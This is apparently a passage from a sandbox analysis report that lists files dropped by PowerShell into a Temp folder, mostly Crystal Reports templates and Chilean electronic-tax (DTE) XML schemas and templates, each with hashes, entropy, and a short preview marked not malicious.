Preview:	<DTE version="1.0">...<Liquidacion ID="">....<Encabezado>.....<IdDoc>......<TipoDTE></TipoDTE>......<Folio></Folio>......<FchEmis></FchEmis>......<IndNoRebaja></IndNoRebaja>......<TipoDespacho></TipoDespacho>......<IndTraslado></IndTraslado>......<TpoImpresion></TpoImpresion>......<IndServicio></IndServicio>......<MntBruto></MntBruto>......<FmaPago></FmaPago>......<FmaPagExp></FmaPagExp>......<FchCancel></FchCancel>......<MntCancel></MntCancel>......<SaldoInSol></SaldoInSol>......<MntPagos>.......<FchPago></FchPago>.......<MntPago></MntPago>.......<GlosaPagos></GlosaPagos>......</MntPagos>......<PeriodoDesde></PeriodoDesde>......<PeriodoHasta></PeriodoHasta>......<MedioPago></MedioPago>......<TpoCtaPago></TpoCtaPago>......<NumCtaPago></NumCtaPago>......<BcoPago></BcoPago>......<TermPagoCdg></TermPagoCdg>......<TermPagoGlosa></TermPagoGlosa>......<TermPagoDias></TermPagoDias>......<FchVenc></FchVenc>.....</IdDoc>.....<Emisor>......<RUTEmisor></RUTEmisor>......<RznSoc></RznSoc>......<Gir

C:\Users\user\AppData\Local\Temp\file\x64\Templates\InformeDoctosProcesados.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Revision Number: 17, Total Editing Time: 02:33:58, Last Saved Time/Date: Fri Oct 6 15:23:13 2017, Create Time/Date: Mon Dec 31 09:33:07 2001, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	7.030845333841075
Encrypted:	false
SSDEEP:	384:CvGMa0KzJ/3SFndklEtddb9XxoLJ9UyUP7/TJmEMaA8rJKNA:GGr0KzMVRXxoLJ9UyOjVTMqA
MD5:	BBF8CA679AEF34B2416F5450050C9929
SHA1:	BAFA3194904554C4E0CD11290AB4BBD0349339F6
SHA-256:	CE4EF809A8ECAABC2E1275FBE2C88E752919BE49FF61564FFE3571C8C8FD9EED
SHA-512:	ECCC3D64BD836768222EC9A8D1A5A366080D00C1C4A71D5BABE170C233C383400E4AFADB1F98724A7AD32EECA641C692E300149B4486A3AB30797FBBDE765AEC
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Libro.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Subject: Comercial/F, Author: Mana, Keywords: 7.12., Last Saved By: Mana, Revision Number: 70, Total Editing Time: 13d+05:08:33, Last Saved Time/Date: Wed May 30 16:30:35 2018, Create Time/Date: Thu Nov 3 20:02:21 2005, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A, Title: Emisin de Libr
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.631435330745761
Encrypted:	false
SSDEEP:	768:p8STnUYruKlMIp3dQJVVy9LYQr4nE7H8CmLH:pdpp3dQyKQr4ECH
MD5:	FFDA3F524094038483D0B6F0AC945F15
SHA1:	CFA699FE7D4FD5BB04B0AC1D4898160421B28AF4
SHA-256:	14C1CC920D453968712CEB7DBDC01BF6B43F3EC8FA885EC807751B83D6A03B2B
SHA-512:	CC55D2A57A40A93B3A33A6494E34C912E92BDAC372E68C940CC957E5F83B83156ABE15FE64B58DE8E5365D79E09FA97C2604736C8948BC802C6A44846CB9B157
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.e.p.o.r.t.I.n.f.o.................................................................................................E...:...............................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\LibroCompra.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Subject: Comercial/F, Author: The Flexlin, Keywords: 7.10., Last Saved By: The Flexlin, Revision Number: 72, Total Editing Time: 11d+01:53:31, Last Saved Time/Date: Wed Feb 22 15:26:45 2017, Create Time/Date: Thu Nov 3 20:02:21 2005, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A, Title: Emisin de Libr
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	7.656075584412774
Encrypted:	false
SSDEEP:	384:5N1Hr59NVwjmglTknxaZ4KI2YMHQIn8HmQVAtUjhXX7py2c8CkRpId5QTEpP/iwm:VLYLY9fVAtUjhNbpQ+gFqth4reV
MD5:	C9067A417EAECF88E4B5DEFF30980C7B
SHA1:	CF8EB169DE07310236D424E90C40AD2E29397AE1
SHA-256:	FD93E888AC598ABC1042AE5CD7953DA19182C3C54A17F7209F7BB3474E46A1C9
SHA-512:	64E01FDBD8F650AB4396CBEF0B143DD8AEDDE960A6E0414570E35E94E9ED25B71497C8131C027C136AD0A712F6A9211E73014DE5C06C27E3BF4183AEC809FBCD
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.e.p.o.r.t.I.n.f.o.................................................................................................@...:...............................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\LibroF.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Subject: Comercial/F, Author: The Flexlin, Keywords: 7.10., Last Saved By: The Flexlin, Revision Number: 65, Total Editing Time: 4d+08:30:32, Last Saved Time/Date: Mon Feb 27 20:21:12 2012, Create Time/Date: Thu Nov 3 20:02:21 2005, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A, Title: Emisin de Libr
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.683330739838741
Encrypted:	false
SSDEEP:	768:DPMzWucTc2ZlVgx4OPW8M4tbuuvVp08LWPPKd3:D0zWbciM4O+Oqu9pDCPKd
MD5:	0DBF81BDD94DC85B6164783928CCBAFB
SHA1:	732A929C8EF5F805FCC8E10E42016488C44855A6
SHA-256:	AD2135E29EF3CE5D78244C5FCD41512B7475D3DF19457D9F02A21E801C3018F4
SHA-512:	403003A7C28725BA1237C3628743FFD3BE5710BE4D709EFC3059375C24AEC65C4789175E7F1FF9CC54421A63E80FAD35C2B8F4285C805077B1C209CEA867EDE5
Malicious:	false
Preview:	......................>.......................<...........@...............=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................&Y.u`..0..F.......`...rgV(FG...CE...R...XJ.g7R..~..}...n......s...=.~\..,_w.......s9........{Q.....U9(b..K.....t.h.A7\|..9..A.Hl..%W[b..2=:v..u. C.s6...rN..U.J...'....m...XP@..h.-.~..}...c.).Z.......Z..SP/.....o..g<..Dc..o.!s...5\I..P.o..../\|...._i...P\.`]\|._#..%3dqZb..E..<.....z,z....z.:<.pY.+.A0b.....h*.aX5....I..^._F?..}.#C.....o..5..\.....Tad.v$...m..,;L..2....D.V...}<.r..q.0....;...%D!.mD@%...\.RK..\|.fo...Et..,nkb...1k..ch..M.=oV....B..X_5.

C:\Users\user\AppData\Local\Temp\file\x64\Templates\LibroGuia.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 4.0, Code page: 1252, Title: Emisin de Libro Guias de Despacho, Subject: Comercial/FlDteLibros, Author: The Flexline Company, Keywords: 7.10.0.0, Last Saved By: The Flexlin, Revision Number: 13, Total Editing Time: 2d+10:09:21, Last Saved Time/Date: Wed Feb 10 14:37:09 2016, Create Time/Date: Thu Oct 21 04:02:29 1999, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports A
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	4.897454744117037
Encrypted:	false
SSDEEP:	384:IkM+j7jubLvybgDm6u6N3p/TJn/xWb8FdKbrY88mw1Os3n26t:Iij3anNu6dplnzFdGF8mw7Vt
MD5:	3C58F3AD6F6BD30528DEE0F6CF1DFE6D
SHA1:	B99892FB3FED6ACE2FA83761AE48734EF12CB896
SHA-256:	76BC710BC22BA0DF3B15173929D772B98FF8A29D97D61FE966B7E13D46360002
SHA-512:	F15A625C74338AEC7EB0A25CB5B3C4C62E8EE09F416438D767E11D5C63C751523C1EE72FAC867A6FC810CF124652425A3DFEE6E9711038179089FD246E11B942
Malicious:	false
Preview:	......................>.......................#...........................$.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................&O$......!I.x.....5.T.....O.....q2.{..x..x.J.#.4..w..l59.....I.I...../4.9.........#&.......F)..0+.jK.$..=F..........o.v......0.(.......i...p!..M.:.=....q..`M...7.S..e..H./3q..Q.56.W-d.=7d..C.......I....6AF..q-c..]{.S.F..o..t_@..`..4".Y.{..2.F.f4.'Bd.....#....ox.o..b.....m.N.Gl.EI....2.%.....u.........P.e.F........m..yn2.].....?%.....T....Fc^.T.<..??.wJ....=.2.....sa.Y."g...i>.A.Y._.}.i1.f...t}3.,f!1.B..e...+..U.v..p...1&xU^W..f..._Q...\...s\

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ReporteCliente.rpt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1252, Title: Emisin de Factu, Subject: Comercial/I, Author: Manager, Keywords: 7.12., Last Saved By: Manager, Revision Number: 132, Total Editing Time: 11d+02:21:03, Last Saved Time/Date: Fri Oct 22 15:03:08 2021, Create Time/Date: Wed Aug 22 23:55:04 2001, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: Crystal Reports ActiveX Designer
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	7.564768638886055
Encrypted:	false
SSDEEP:	768:b8xXq0O/5cY1uUzQZBs+XmzJECOA8gv/muJow4rXTLXLswnPErt:bShY16Bj2aCOA8ZKYDLLswnsr
MD5:	A547238051BD52E90708B8362D72588C
SHA1:	383924701415EAAC64BAA2DEEEC98B07EA2F2EC1
SHA-256:	96AAB013598F360C88325A5F365D5A3BBB7D95AD0799BF0F752D66C01280E7E2
SHA-512:	97FE0C7502134EE32A6ECFD16D8AA88FF97D8F9DB345ED872E2A27E5EF88C472905AEC593BC63E23CF64286442247AEECB6673CB2E51108205C8FE66E959A3F0
Malicious:	false
Preview:	......................>.......................@...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................P.r.o.m.p.t.M.a.n.a.g.e.r.......................................................................................................S.u.b.d.o.c.u.m.e.n.t. .2...........................................................................`...M....T.M...............C.o.n.t.e.n.t.s........................................................................................................._.......Q.E.S.e.s.s.i.o.n.......................................................................................

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenPerLibro.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	983
Entropy (8bit):	4.797805830916593
Encrypted:	false
SSDEEP:	24:VTKVAy40zosl/SgN9wsK3fq5oWqzWAy2tUK1ZyM3o:VTuLT/SgNePq5oW/A7tUK1Qao
MD5:	5C19FA7C1104A6F6419B012CFD937F92
SHA1:	C6133E56FD181519565756D3F7E3F551E2D1B003
SHA-256:	D2E7BB874F4F69B7AE0F0483F1833278B0D46A0810785CCC10EB40EB2BE17A0D
SHA-512:	8B7A6AC79A644D2CC2D545D00333B9B276310EC5CF2E1B7BD66D9E4F2F4976D3FB82E075EED455E54270CCD767F3D7A3BADFBCFF722AA5FAF9C9A62AB78DD0AD
Malicious:	false
Preview:	<TotalesPeriodo>...<TpoDoc/>...<TpoImp/>...<TotDoc/>...<TotAnulado/>...<TotOpExe/>...<TotMntExe/>...<TotMntNeto/>...<TotOpIVARec/>...<TotMntIVA/>...<TotOpActivoFijo/>...<TotMntActivoFijo/>...<TotMntIVAActivoFijo/>....<TotIVANoRec>....<CodIVANoRec/>....<TotOpIVANoRec/>....<TotMntIVANoRec/>...</TotIVANoRec>...<TotOpIVAUsoComun/>...<TotIVAUsoComun/>...<FctProp/>...<TotCredIVAUsoComun/>...<TotIVAFueraPlazo/>...<TotIVAPropio/>...<TotIVATerceros/>...<TotLey18211/>...<TotOtrosImp>....<CodImp/>....<TotMntImp/>...</TotOtrosImp>...<TotImpSinCredito/>...<TotOpIVARetTotal/>...<TotIVARetTotal/>...<TotOpIVARetParcial/>...<TotIVARetParcial/>...<TotCredEC/>...<TotDepEnvase/>...<TotLiquidaciones>....<TotValComNeto/>....<TotValComExe/>....<TotValComIVA/>...</TotLiquidaciones>....<TotMntTotal/>...<TotOpIVANoRetenido/>...<TotIVANoRetenido/>...<TotMntNoFact/>...<TotMntPeriodo/>...<TotPsjNac/>...<TotPsjInt/>...<TotTabPuros/>...<TotTabCigarrillos/>...<TotTabElaborado/>..</TotalesPeriodo>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenPerLibroGuia.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	265
Entropy (8bit):	4.5080117798877115
Encrypted:	false
SSDEEP:	3:5QIuY8bovkJTBNoLwO2upbbsBFYHEgTOgxX/KIxX/KmiEXLEi46i6lhPsY8bovy:nuY8uATBNoLwcsKT/Xh94i46BlFsY8uy
MD5:	B7C55414608E9B9F4B6E7FFF6DDA3ADD
SHA1:	E52540E31897AD0358DFA08A189E8B3CBCFB7619
SHA-256:	9182BD64FB2790C9D895D03E9EC996042AB17A094F7099F6CD550F4F2E9C8B9F
SHA-512:	6847D4B92DEFB2E7D2F596D39332D17C2BE44B84FEAB1630EBA5C5CF8199F08C699721BDDB2BF605C8C114504EB1E6FB0387999EE6072D39DDC44EE411B8C160
Malicious:	false
Preview:	<ResumenPeriodo>...<TotFolAnulado/>...<TotGuiaAnulada/>...<TotGuiaVenta/>...<TotMntNeto/>...<TotMntGuiaVta/>...<TotMntModificado/>...<TotTraslado>....<TpoTraslado></TpoTraslado>....<CantGuia></CantGuia>....<MntGuia></MntGuia>...</TotTraslado>..</ResumenPeriodo>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenSegLibro.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	947
Entropy (8bit):	4.803472063384036
Encrypted:	false
SSDEEP:	24:zTKVAy40zosl/SgN9wfq5oWqzWAy2SUK1ZyM3o:zTuLT/SgNOq5oW/A7SUK1Qao
MD5:	F1716D8252519C887F6C9AECB7E6E26E
SHA1:	95F52BB3A5F918A1F8708B39F48A03B3090BE839
SHA-256:	C126F75DBE0CD21BDCE06D543F40B4C262CECA96C5C28BB6759B7AF8E742C790
SHA-512:	86F39FBACA94076A656A077E690FC93274B9B04ED2495CBEDD3826057F2E0E97724F1A39382224C4A16500430C98A84522A5134427A5E0A87DBE60ED2BF91D44
Malicious:	false
Preview:	<TotalesSegmento>...<TpoDoc/>...<TpoImp/>...<TotDoc/>...<TotAnulado/>...<TotOpExe/>...<TotMntExe/>...<TotMntNeto/>...<TotOpIVARec/>...<TotMntIVA/>...<TotOpActivoFijo/>...<TotMntActivoFijo/>...<TotMntIVAActivoFijo/>....<TotIVANoRec>....<CodIVANoRec/>....<TotOpIVANoRec/>....<TotMntIVANoRec/>...</TotIVANoRec>...<TotOpIVAUsoComun/>...<TotIVAUsoComun/>...<TotIVAFueraPlazo/>...<TotIVAPropio/>...<TotIVATerceros/>...<TotLey18211/>...<TotOtrosImp>....<CodImp/>....<TotMntImp/>...</TotOtrosImp>...<TotImpSinCredito/>...<TotOpIVARetTotal/>...<TotIVARetTotal/>...<TotOpIVARetParcial/>...<TotIVARetParcial/>...<TotCredEC/>...<TotDepEnvase/>...<TotLiquidaciones>....<TotValComNeto/>....<TotValComExe/>....<TotValComIVA/>...</TotLiquidaciones>...<TotMntTotal/>...<TotOpIVANoRetenido/>...<TotIVANoRetenido/>...<TotMntNoFact/>...<TotMntPeriodo/>...<TotPsjNac/>...<TotPsjInt/>...<TotTabPuros/>...<TotTabCigarrillos/>...<TotTabElaborado/>..</TotalesSegmento>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\ResumenSegLibroGuia.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	267
Entropy (8bit):	4.542296614089127
Encrypted:	false
SSDEEP:	3:5QIuLtJTBNoLwO2upbbsBFYHEgTOgxX/KIxX/KmiEXLEi46i6lhPsh:nuL7TBNoLwcsKT/Xh94i46BlFsh
MD5:	19154EE277F40E747177F928D4BF0CC8
SHA1:	806BA4DC241439FEA580903E218A86D7CDB54967
SHA-256:	A6549B758BE94CD76C124E1BE38143DF6CF2A1DF0709D4B1FF79B74320D4F33B
SHA-512:	777B75C784E751266761F62F3B4A545F40F55C122EA1C17D7412A9F456F8D422EC22BB41D4BC05C74B4A77A7B516BB67E551A2C86745F805702C16E71AE111EC
Malicious:	false
Preview:	<ResumenSegmento>...<TotFolAnulado/>...<TotGuiaAnulada/>...<TotGuiaVenta/>...<TotMntNeto/>...<TotMntGuiaVta/>...<TotMntModificado/>...<TotTraslado>....<TpoTraslado></TpoTraslado>....<CantGuia></CantGuia>....<MntGuia></MntGuia>...</TotTraslado>..</ResumenSegmento>....

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\DTE_v10.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	232543
Entropy (8bit):	4.22907362363038
Encrypted:	false
SSDEEP:	3072:3LuRMZhM4KVlH04tytiOoHr5oC8n1uq5oVmThObx49Vp7THmQGGqSCPuAJcbs89/:j
MD5:	99698C6701E170558D641CE32C8068DB
SHA1:	B375C216832E1746DFD4BB29B2371A791898BBC6
SHA-256:	7CE52BF95354489F52CE48BEBDE9C70F3E16A575E2524CAA13699DBAF3F5093E
SHA-512:	1F746C053881EF2E58FC3F066D49C8C5E29BF1F76F4771CFB7068C76C2E9C801A337A924A7240E1CBBBC42FE92A72ACA4D96486A7980640CEA68EC3A12AF7BD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. Esquema para documentos DTE...Fecha Actualizacion: 25/05/07 15:00....Se incorporan dos nuevos Tipos de datos :..FechaType..: Fecha entre 2000-01-01 y 2050-12-31..FechaHoraType : FechaType + hora entre 00:00 y 23:59....Fecha Actualizacion: 19-12-2007 16:21....Totales Exportacion : acepta minimo 0 (incluye detalle)....Fecha Actualizacion: 30-05-2011 12:00....Descuento Recargo Global : se incorporar restricci.n en Tipo de Movimiento..... para que sea dato de largo 1.... -->..<xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:SiiDte="http://www.sii.cl/SiiDte" elementFormDefault="qualified" attributeFormDefault="unqualified">...<xs:include schemaLocation="SiiTypes_v10.xsd"/>...<xs:import namespace="http://www.w3.org/2000/09/xmldsig#" schemaLocation="xmldsignature_v10.xsd"/>...<xs:element name="DTE" type="SiiDte:DTEDefType"/>...<xs:comple

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\SchemaDoctoXML.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4738
Entropy (8bit):	4.827498828943315
Encrypted:	false
SSDEEP:	96:TC/lnlgWcLQtG32Cod18V1FZb1Mzx1DF1mrvm4S73SORuEpR3jPadsIRchMdZ:EnKN0c32nd18V1FZb1Sx1DF1mru4SzSr
MD5:	44AA46D229DD7403617B2FE00D9A7E40
SHA1:	5DE95B2D1D263E0E3C14491C89BDF196EA4077D3
SHA-256:	33EA8DD38C895C359DDDBCD21FEB5ACF8A4717F7F67524A6B0DD9A83D76920EB
SHA-512:	953857D6899C2F277D77372B9E19917AAC8791045DC9E8A11B4783DD166F5B5BDC715C3FCEAFD31965EA392E7EB611BB2912344AF6D22791F0D1ADD2078D24EF
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. El presente documento define el esquema XML que debe ser utilizado..para realizar los envios de Documentos Tributarios Electronicos (DTE)..hacia el Servicio de Impuestos Internos.....Fecha Actualizacion: 30/07/10 15:00....Se incorporan dos nuevos Tipos de datos :..FechaType..: Fecha entre 2000-01-01 y 2050-12-31..FechaHoraType : FechaType + hora entre 00:00 y 23:59....Se limita a 2.000 documentos el m.ximo por envio o sobre (de acuerdo a publicaci.n).. -->..<xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:SiiDte="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" elementFormDefault="qualified" attributeFormDefault="unqualified">...<xs:include schemaLocation="DTE_v10.xsd"/>...<xs:import namespace="http://www.w3.org/2000/09/xmldsig#" schemaLocation="xmldsignature_v10.xsd"/>...<xs:element name="EnvioDTE">....<xs:annotation>.....<xs:documentation>Envio de Documen

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\SiiTypes_v10.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	30967
Entropy (8bit):	4.9737511496894165
Encrypted:	false
SSDEEP:	768:oBlcB/pB/wLOEMMsjeyD1AaZGVJ/EP171iPyr4KFTRUhlU1Hpx3:oBeBxBoLOEMMsjxxAaZGVJsP17cPyr4Y
MD5:	DC45C51A2E3256A437E727CB0D7B4735
SHA1:	F65A9958AAE3A87938D1DA0857144410435DABD6
SHA-256:	D10038241464C73D759949EC6F04F52C32C7A478E9E294BF91DC867B06D9FDEE
SHA-512:	451353D5FD0B9F62AB52C33BB6F22FA9659C4F354CFDCD68B6A05C5137A50DAE062F250A85608DC529B9C449590A0AC2B24AB4812589263A0914A0F4D3A551FD
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. Esquema para tipos de datos generales...Fecha Actualizacion: 25/05/07 15:00....Se incorporan dos nuevos Tipos de datos :..FechaType..: Fecha entre 2000-01-01 y 2050-12-31..FechaHoraType : FechaType + hora entre 00:00 y 23:59..ImpAdicDTEType: elimina codigo 29 para DTE....Fecha Actualizacion: 30/05/2011 12:00..Se incorpora restricci.n en DineroPorcentajeType para que sea dato de largo 1....Fecha Actualizacion: 07/05/2014 11:30..ImpAdicDTEType.: se agregan los codigos 54 y 55 (SDI-1092)....Fecha Actualizacion: 30/09/2014 11:40..ImpAdicDTEType.: se agregan el codigo de impuesto 271 (SDI-9342)......-->..<xs:schema targetNamespace="http://www.sii.cl/SiiDte" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://www.sii.cl/SiiDte" elementFormDefault="qualified" attributeFormDefault="unqualified">...<xs:simpleType name="DOCType">....<xs:annotation>.....<xs:documentation>Todos los tipos de Documentos Tributarios Electronicos</xs:doc

C:\Users\user\AppData\Local\Temp\file\x64\Templates\Schemas\SchemaDoctoXML\xmldsignature_v10.xsd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	7135
Entropy (8bit):	4.797427476313495
Encrypted:	false
SSDEEP:	192:jBjpgkBmsT2anwzs+umSL511v1biu8sJoo3F3L51wx3Y3d3b3L51uOsYIiu4sJic:RpgWmsaanwzs+umSL511v1biu8sJoo30
MD5:	8B83AAAE477A57D829B075230237102C
SHA1:	B6DAEB29F298258B405317300754D2AC64ECBA33
SHA-256:	427E3225CD379AE92BAE464B892DBF964665AF92D453AC61774CFFAB38B95EDB
SHA-512:	51EBCA226A8D85F0226F2C9782E245810E3A3E61C01EB5D20BC0E7BAEE203247405BD296A34F8048876BE0E343A279ED90E0656CD940BD269C97943111AC1542
Malicious:	false
Preview:	<?xml version="1.0" encoding="ISO-8859-1"?>.. Schema for XML Signatures.. http://www.w3.org/2000/09/xmldsig#.. $Revision: 1.1 $ on $Date: 2002/02/08 20:32:26 $ by $Author: reagle $.... Copyright 2001 The Internet Society and W3C (Massachusetts Institute.. of Technology, Institut National de Recherche en Informatique et en.. Automatique, Keio University). All Rights Reserved... http://www.w3.org/Consortium/Legal/.... This document is governed by the W3C Software License [1] as described.. in the FAQ [2]..... [1] http://www.w3.org/Consortium/Legal/copyright-software-19980720.. [2] http://www.w3.org/Consortium/Legal/IPR-FAQ-20000620.html#DTD ....Fecha ultima actualizaci.n : 10-03-05....-->..<ds:schema targetNamespace="http://www.w3.org/2000/09/xmldsig#" xmlns:xmldsig="http://www.w3.org/2000/09/xmldsig#" xmlns:ds="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">...<ds:element name="Signature" type="xmldsi

C:\Users\user\AppData\Local\Temp\file\x64\Templates\TemplateCorreoCliente.htm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (333), with CRLF line terminators
Category:	dropped
Size (bytes):	2892
Entropy (8bit):	4.825857791202032
Encrypted:	false
SSDEEP:	48:wPwlsMpUzdddd5ddddddddddddddddddddddddddddddNddddUddddddddddddd9:wIls2Uzdddd5dddddddddddddddddddO
MD5:	CE4C1F3BA9E690C4119E8ED39AA8EB78
SHA1:	DC2DA00C92B51431C01C5E598DE4665C9989E856
SHA-256:	E17621DC67919E53A0D1BE6A03FA0D97F01C8932F8D8912D556327E620310432
SHA-512:	DAF95E6329B060FE230096FC7A594CF0A13801E2DCF9869AFFA5530A2D03BF6C0DD2D9340BE5C312B82D41DAD48057F86811A23B23FBA93B0DC9A478986AC4EF
Malicious:	false
Preview:	<html xmlns="http://www.w3.org/1999/xhtml">..<head><title></title></head>..<body>..<b><font size="4">ENVIO DTES CLIENTE</font></b><br /><br />..<div style = "border-top:5px solid #22BCE5"> </div>..<u><b><font size="4">..<span style = "font-family:Arial;">..Emisor</span></font><span style = "font-family:Arial;font-size:10pt">..</span> </b></u>..<span style = "font-family:Arial;font-size:10pt">..<br /> <b>       {EmisorNombre}</b></span><span style = "font-family:Arial;font-size:10pt"><b>                                 </b></span><p>..<span style = "font-family:Arial;font-size:10pt">..<b>       Rut: {EmisorRut}</b></span><span style = "font-family:Arial;font-size:10pt"><b>               &nbsp

C:\Users\user\AppData\Local\Temp\file\x64\Templates\XmlLibros.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2526
Entropy (8bit):	4.751198903196411
Encrypted:	false
SSDEEP:	48:0h+47O+mLB/q0x6MMpnTOUkIPJidtrxupVjDcoLKlurxLKyewfW3NHU:0hjaHw0xJ5sgEVDS4N0r0
MD5:	73795975C2821C653EC0696528F2F61A
SHA1:	F6D62B334DF81DD0F736F1C47C00CEF65CC4EDA9
SHA-256:	C341FBF423B20CADE90E33776419A4AD92AFE1FEB3013A429296909E97C8484F
SHA-512:	55A89489170478BA1F10A50070745C837FAE6B3023CC863C6A8EE8995F0EA16F915228B432DF7AFBD6047DE8CC5EE7224F20377384CB3AE77003BA7834459DA9
Malicious:	false
Preview:	<EnvioLibro ID="L20041216124547">....<Caratula>.....<RutEmisorLibro/>.....<RutEnvia/>.....<PeriodoTributario/>.....<FchResol/>.....<NroResol/>.....<TipoOperacion/>.....<TipoLibro/>.....<TipoEnvio/>.....<FolioNotificacion/>.....<CodAutRec/>....</Caratula>....<ResumenPeriodo>.......<TotalesPeriodo>......<Segmento/>......<TpoDoc/>......<TpoImp/>......<TotDoc/>......<TotAnulado/>......<TotOpExe/>......<TotMntExe/>......<TotMntNeto/>......<TotOpIVARec/>......<TotMntIVA/>......<TotOpActivoFijo/>......<TotMntActivoFijo/>......<TotMntIVAActivoFijo/>.......<TotIVANoRec>.......<CodIVANoRec/>.......<TotOpIVANoRec/>.......<TotMntIVANoRec/>......</TotIVANoRec>......<TotOpIVAUsoComun/>......<TotIVAUsoComun/>......<FctProp/>......<TotCredIVAUsoComun/>......<TotIVAFueraPlazo/>......<TotIVAPropio/>......<TotIVATerceros/>......<TotLey18211/>......<TotOtrosImp>.......<CodImp/>.......<TotMntImp/>......</TotOtrosImp>......<TotImpSinCredito/>......<TotOpIVARetTotal/>......<TotIVARetTotal/>......<TotOpIVARet

C:\Users\user\AppData\Local\Temp\file\x64\modules\config\config.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.718821038541098
Encrypted:	false
SSDEEP:	6:ezIbX743wdY7rHW19+KdNWLitn2BZNKCaHVYuThateNrvyF114J:ezIz0mY/kZdNvn2BZHCTl1N61E
MD5:	B8779A0D74C496C3D45C8AB3AC1E9017
SHA1:	AA7BE774ABA46BC0FC4FA95CA15AA1ECAABBB050
